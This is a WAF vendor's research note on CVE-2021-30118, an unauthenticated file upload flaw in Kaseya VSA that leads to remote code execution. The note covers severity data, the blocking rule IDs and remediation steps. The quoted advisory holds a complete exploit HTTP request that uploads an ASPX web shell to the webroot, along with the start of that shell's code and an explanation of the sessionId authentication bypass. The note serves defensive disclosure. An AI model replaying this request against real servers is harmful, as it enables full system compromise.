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Atomicorp WAF Research Note: CVE-2021-30118

Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution

CVE Details

Status: Attack Blocked by Atomicorp
  • Already protected by existing Atomicorp WAF rules
  • Protection status: Understanding Atomicorp WAF Protection Status
  • CVE: CVE-2021-30118
  • Name: Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution
  • Severity: Critical
  • CVSS: 9.8 (v3.1) (Critical)
  • CVSS version: 3.1
  • CVSS source: NVD
  • CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    • Attack vector: Network
    • Attack complexity: Low
    • Privileges required: None
    • User interaction: None
    • Scope: Unchanged
    • Confidentiality impact: High
    • Integrity impact: High
    • Availability impact: High
  • CWE: CWE-434 — Unrestricted Upload of File with Dangerous Type
  • Related CAPEC attack patterns (via MITRE CWE relationships): CAPEC-1
  • Vendor: kaseya
  • Vulnerable product: vsa
  • CVE published: 2021-07-09
  • CVE last modified: 2026-06-17
  • Affected versions (NVD configurations):
    • vsa: < 9.5.5
  • EPSS: 0.6035; 99.1th percentile (FIRST )
  • Latest Update: 2026-09-06
  • Selected Rule IDs observed: 344365 , 392301
  • Matching rules: 2; rules with blocking actions: 2
  • Would-block Rule IDs: 344365 , 392301
  • Request surfaces inspected: JSON request data, Request URI, Request argument names, Request arguments, Request headers, SOAP request data
Technical CPE data

This section lists vulnerable CPE matches retained from the NVD configurations. It supplements the readable affected-product information above.

  • cpe:2.3:a:kaseya:vsa:*:*:*:*:-:*:*:*
    • Version end (exclusive): 9.5.5
    • NVD match criteria ID: 081A5508-D14F-4622-B1F4-87761173D935

Vulnerability Description

An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description — Given the following request: POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host: 192.168.1.194 Cookie: sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length: 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> <script runat="server"> private const string password = "pass"; // The password ( pass ) private const string style = "dark"; // The style ( light / dark ) protected void Page_Load(object sender, EventArgs e) { //this.Remote(password); this.Login(password); this.Style(); this.ServerInfo(); <snip> The attacker can control the name of the file written via the qqfile parameter and the location of the file written via the PathData parameter. Even though the call requires that a sessionId cookie is passed we have determined that the sessionId is not actually validated and any numeric value is accepted as valid. Security issues discovered — * a sessionId cookie is required by /SystemTab/uploader.aspx, but is not actually validated, allowing an attacker to bypass authentication * /SystemTab/uploader.aspx allows an attacker to create a file with arbitrary content in any place the webserver has write access * The web server process has write access to the webroot where the attacker can execute it by requesting the URL of the newly created file. Impact — This arbitrary file upload allows an attacker to place files of his own choosing on any location on the hard drive of the server the webserver process has access to, including (but not limited to) the webroot. If the attacker uploads files with code to the webroot (e.g. aspx code) he can then execute this code in the context of the webserver to breach either the integrity, confidentiality, or availability of the system or to steal credentials of other users. In other words, this can lead to a full system compromise.

  1. Maintain the observed Atomicorp protections. Keep your Atomicorp commercial rules current and confirm that the selected observed rules (344365 , 392301 ) have not been locally disabled. Atomicorp commercial rules are enabled by default. If you use Atomic WAF, review the applicable policy and rule settings.

  2. Apply the vendor’s remediation. WAF protection is defense in depth and does not replace upgrading or following the affected vendor’s guidance.

  3. Validate after changes. Confirm rule updates are current, review WAF events for the affected application, and test application behavior after vendor upgrades, mitigations, or local policy changes.

Research Notes

Atomicorp WAF protections are designed around attack techniques and exploit behaviors, allowing existing protections to apply across multiple vulnerabilities without requiring a unique rule for every CVE.

Public Vulnerability References

Test or Research Source

Research Note Context

This research note documents exploit-technique analysis associated with this vulnerability and references Atomicorp WAF protections observed during engineering review, testing, or validation activities.

Atomicorp security controls are generally designed to identify and mitigate attack techniques and exploit behaviors rather than individual CVE identifiers. As a result, protections developed for one vulnerability may also apply to related attack variants and future vulnerabilities using similar techniques.

Learn More

Atomicorp develops commercially supported security technologies for web applications, servers, endpoints, workloads, and legacy enterprise platforms.

Organizations interested in protecting systems against exploit techniques associated with vulnerabilities such as this one can learn more about:

  • Atomic ModSecurity Rules: commercially maintained WAF rules for ModSecurity deployments, including protections for web attacks, bots, scanners, malware, exploitation attempts, and emerging vulnerability classes.
  • Atomic WAF: an enterprise web application firewall with Atomicorp rules, centralized management, reporting, authentication controls, and operational tooling.
  • Atomic ModSecurity Integrator: a special licensing option for MSPs, MSSPs, OEMs, VARs, reverse proxy providers, and other integrators who want to incorporate Atomicorp ModSecurity rule technology into their own products or services.
  • Atomic OSSEC: an enterprise OSSEC-based intrusion detection, compliance, and security monitoring platform.
  • Atomic Protector: workload protection for Linux, web, cloud, data center, and hybrid environments.

For additional information, product evaluations, or technical discussions, visit https://www.atomicorp.com/ or https://modsecurity.io/ .